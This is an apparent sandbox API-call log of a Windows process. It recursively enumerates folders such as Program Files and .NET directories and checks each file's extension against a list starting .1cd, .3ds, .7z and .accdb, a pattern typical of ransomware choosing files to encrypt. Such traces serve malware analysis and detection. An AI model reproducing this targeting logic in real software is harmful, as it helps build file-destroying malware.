	[0175.260] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0175.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.262] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1
	[0175.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.263] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0
	[0175.263] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0175.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.263] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1
	[0175.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.264] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0175.265] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0175.265] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0175.266] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0175.266] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0175.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0175.267] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0175.267] FindClose (in: hFindFile=0x76ea68 | out: hFindFile=0x76ea68) returned 1
	[0175.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.267] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0175.267] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0175.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.268] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dd3130, ftCreationTime.dwHighDateTime=0x1d56b02, ftLastAccessTime.dwLowDateTime=0x8b766a50, ftLastAccessTime.dwHighDateTime=0x1d5d7df, ftLastWriteTime.dwLowDateTime=0x8b766a50, ftLastWriteTime.dwHighDateTime=0x1d5d7df, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1
	[0175.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0175.274] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3e7f5f27, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7f5f27, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0175.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.278] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0175.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0175.278] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0175.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.282] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0175.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0175.283] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0175.283] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0175.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.283] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0175.283] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0175.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0175.285] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f693a10, ftCreationTime.dwHighDateTime=0x1d5b4a0, ftLastAccessTime.dwLowDateTime=0x3f4e61d0, ftLastAccessTime.dwHighDateTime=0x1d5c3eb, ftLastWriteTime.dwLowDateTime=0x3f4e61d0, ftLastWriteTime.dwHighDateTime=0x1d5c3eb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1
	[0175.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0175.285] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3e7a9c0e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7a9c0e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1
	[0176.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0176.423] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35808440, ftCreationTime.dwHighDateTime=0x1d5b85a, ftLastAccessTime.dwLowDateTime=0x788ada20, ftLastAccessTime.dwHighDateTime=0x1d59630, ftLastWriteTime.dwLowDateTime=0x788ada20, ftLastWriteTime.dwHighDateTime=0x1d59630, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0176.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.425] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3e7f5f27, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7f5f27, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0176.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0176.428] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1
	[0176.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.442] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0176.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.446] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1
	[0176.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.449] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1
	[0176.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.753] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0176.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.755] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0176.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.758] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1
	[0176.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.760] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1
	[0176.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.763] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0176.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.765] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0176.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.768] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1
	[0176.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.771] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1
	[0176.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.774] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0176.774] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB") returned 100
	[0176.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB") returned 1
	[0176.775] lstrlenW (lpString="en-GB") returned 5
	[0176.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-GB") returned -1
	[0176.775] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0176.775] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB") returned 100
	[0176.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0176.958] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.958] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0176.958] lstrlenW (lpString="index.html") returned 10
	[0176.958] lstrlenW (lpString=".1cd") returned 4
	[0176.958] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0176.958] lstrlenW (lpString=".3ds") returned 4
	[0176.958] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0176.958] lstrlenW (lpString=".3fr") returned 4
	[0176.959] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".3g2") returned 4
	[0176.959] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".3gp") returned 4
	[0176.959] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".7z") returned 3
	[0176.959] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0176.959] lstrlenW (lpString=".accda") returned 6
	[0176.959] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0176.959] lstrlenW (lpString=".accdb") returned 6
	[0176.959] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0176.959] lstrlenW (lpString=".accdc") returned 6
	[0176.959] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0176.959] lstrlenW (lpString=".accde") returned 6
	[0176.959] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0176.959] lstrlenW (lpString=".accdt") returned 6
	[0176.959] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
